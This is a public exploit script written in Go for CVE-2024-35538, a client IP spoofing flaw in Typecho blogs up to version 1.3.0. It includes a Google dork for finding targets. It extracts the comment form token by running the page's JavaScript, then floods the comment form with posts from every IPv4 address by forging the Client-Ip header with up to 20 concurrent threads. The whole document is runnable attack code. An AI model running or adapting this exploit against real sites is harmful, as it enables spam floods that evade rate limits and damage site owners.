// Exploit Title: Typecho <= 1.3.0 Client IP Spoofing // Google Dork: intext:"Powered by Typecho" inurl:/index.php // Date: 18/08/2024 // Exploit Author: Michele 'cyberaz0r' Di Bonaventura // Vendor Homepage: https://typecho.org // Software Link: https://github.com/typecho/typecho // Version: 1.3.0 // Tested on: Typecho 1.3.0 Docker Image with PHP 7.4 (https://hub.docker.com/r/joyqi/typecho) // CVE: CVE-2024-35538 // For more information, visit the blog post: https://cyberaz0r.info/2024/08/typecho-multiple-vulnerabilities/ package main import ( "bytes" "fmt" "io" "net/http" "net/url" "os" "strings" "sync" "sync/atomic" "time" "github.com/robertkrimen/otto" ) var ( nThreads int32 = 0 maxThreads int32 = 20 wg sync.WaitGroup userAgent string = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" client *http.Client = &http.Client{ CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }, } ) func getJSFunction(u string) string { req, err := http.NewRequest("GET", u, nil) if err != nil { fmt.Println("[X] Error creating initial request:", err) return "" } req.Header.Set("User-Agent", userAgent) resp, err := client.Do(req) if err != nil { fmt.Println("[X] Error sending initial request:", err) return "" } buf := new(bytes.Buffer) buf.ReadFrom(resp.Body) body := buf.String() if !strings.Contains(body, "input.value = (") || !strings.Contains(body, ")();;") { fmt.Println("[X] Error finding JavaScript function") return "" } jsFunction := strings.Split(body, "input.value = (")[1] jsFunction = strings.Split(jsFunction, ")();;")[0] return jsFunction } func executeJavaScript(jsFunctionName string, jsFunctionBody string) string { vm := otto.New() _, err := vm.Run(jsFunctionBody) if err != nil { fmt.Println("[X] Error executing JavaScript function:", err) return "" } result, err := vm.Call(jsFunctionName, nil) if err != nil { fmt.Println("[X] Error calling JavaScript function:", err) return "" } returnValue, err := result.ToString() if err != nil { fmt.Println("[X] Error converting JavaScript result to string:", err) return "" } return returnValue } func spamComments(u string, formToken string) { i := 0 for octet1 := 0; octet1 < 256; octet1++ { for octet2 := 0; octet2 < 256; octet2++ { for octet3 := 0; octet3 < 256; octet3++ { for octet4 := 0; octet4 < 256; octet4++ { for nThreads > maxThreads { time.Sleep(250 * time.Millisecond) wg.Wait() } ip := fmt.Sprintf("%d.%d.%d.%d", octet1, octet2, octet3, octet4) i++ wg.Add(1) atomic.AddInt32(&nThreads, 1) go spamRequest(u, formToken, ip, i) } } } } } func spamRequest(u string, formToken string, ip string, i int) { fmt.Printf("\r[*] Spamming comment %d from %s ", i, ip) defer atomic.AddInt32(&nThreads, -1) defer wg.Done() req, err := http.NewRequest("POST", u+"comment", nil) if err != nil { return } formData := url.Values{} formData.Set("_", formToken) formData.Set("author", fmt.Sprintf("user_%s", strings.Replace(ip, ".", "", -1))) formData.Set("mail", fmt.Sprintf("%s@test.example", ip)) formData.Set("text", fmt.Sprintf("Hello from %s", ip)) req.Header.Set("Client-Ip", ip) req.Header.Set("Referer", u) req.Header.Set("User-Agent", userAgent) req.Header.Set("Content-Type", "application/x-www-form-urlencoded") req.Header.Set("Content-Length", fmt.Sprint(len(formData.Encode()))) req.Body = io.NopCloser(strings.NewReader(formData.Encode())) resp, err := client.Do(req) if err != nil { return } defer resp.Body.Close() } func main() { if len(os.Args) != 2 { fmt.Println("Usage: go run CVE-2024-35538.go ") return } fmt.Println("[+] Starting Typecho <= 1.3.0 Client IP Spoofing exploit (CVE-2024-35538) by cyberaz0r") targetUrl := os.Args[1] fmt.Println("[+] Spam target:", targetUrl) fmt.Println("[*] Getting JavaScript function to calculate form token...") jsFunction := getJSFunction(targetUrl) if jsFunction == "" { fmt.Println("[-] Could not get JavaScript function, exiting...") return } fmt.Println("[*] Evaluating JavaScript function to calculate form token...") formToken := executeJavaScript("calculateToken", strings.Replace(jsFunction, "function ()", "function calculateToken()", 1)) if formToken == "" { fmt.Println("[-] Could not get form token, exiting...") return } fmt.Println("[+] Form token:", formToken) spamComments(targetUrl, formToken) }